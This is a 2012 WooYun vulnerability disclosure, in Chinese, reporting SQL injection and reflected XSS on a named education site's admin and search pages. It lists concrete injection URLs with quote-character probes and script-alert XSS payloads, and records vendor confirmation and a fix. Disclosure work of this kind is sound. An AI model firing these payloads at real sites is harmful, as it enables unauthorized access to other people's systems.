漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-011615
漏洞标题：先知网大片SQL注入
相关厂商：9first.com
漏洞作者： Defa
提交时间：2012-09-03 15:32
修复时间：2012-10-18 15:33
公开时间：2012-10-18 15:33
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-09-03： 细节已通知厂商并且等待厂商处理中
2012-09-03： 厂商已经确认，细节仅向厂商公开
2012-09-13： 细节向核心白帽子及相关领域专家公开
2012-09-23： 细节向普通白帽子公开
2012-10-03： 细节向实习白帽子公开
2012-10-18： 细节向公众公开
简要描述：
学了一段时间的sql注入，终于可以练练手了，
详细说明：
网站上面有很多的sql注入漏洞，首先登录，进入个人资料地方，搜索处，然后基本上处处都是sql注入
如下图：
下面贴出部分网址，需要登录后才能访问，
http://home.9first.com/admin/comment.asp?idtype=&id=&authorid=1'&author=&dateline1=&dateline2=&message=&ip=&orderby=&ordersc=desc&perpage=20&ac=comment&searchsubmit=%CB%D1%CB%F7'
http://home.9first.com/admin/album.asp?albumid=552
http://home.9first.com/admin/pic.asp?albumid=1'&picid=&postip=&filename=&title=&hot1=&hot2=&dateline1=&dateline2=&orderby=&ordersc=desc&perpage=20&ac=pic&searchsubmit=%CB%D1%CB%F7
http://home.9first.com/admin/thread.asp?clubid=1%27&subject=&tid=&dateline1=&dateline2=&viewnum1=&viewnum2=&replynum1=&replynum2=&hot1=&hot2=&digest=&orderby=&ordersc=desc&perpage=20&ac=thread&searchsubmit=%CB%D1%CB%F7
http://home.9first.com/admin/post.asp?clubid=1%27&tid=&dateline1=&dateline2=&message=&ip=&isthread=&orderby=&ordersc=desc&perpage=20&ac=post&searchsubmit=%CB%D1%CB%F7
友情测试不用工具，这里我手工检测一下，见漏洞证明
漏洞证明：
下面附送几枚反射xss：
http://course.9first.com/search.asp?kw="/><script>alert(/xss/)</script>
http://home.9first.com/myschool/?stype=0&Keyword=%22%2F%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&Endtime=2012-8-31&plan=3
http://home.9first.com/blog/?searchkey=%22%2F%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&searchmode=1&view=all&orderby=dateline
http://home.9first.com/album/?searchkey=%22%2F%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&searchsubmit=%CB%D1%CB%F7%CF%E0%B2%E1&view=all&orderby=dateline
修复方案：
地球人都知道
版权声明：转载请注明来源 Defa@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2012-09-03 18:08
厂商回复：
最新状态：
2012-09-03：已修复。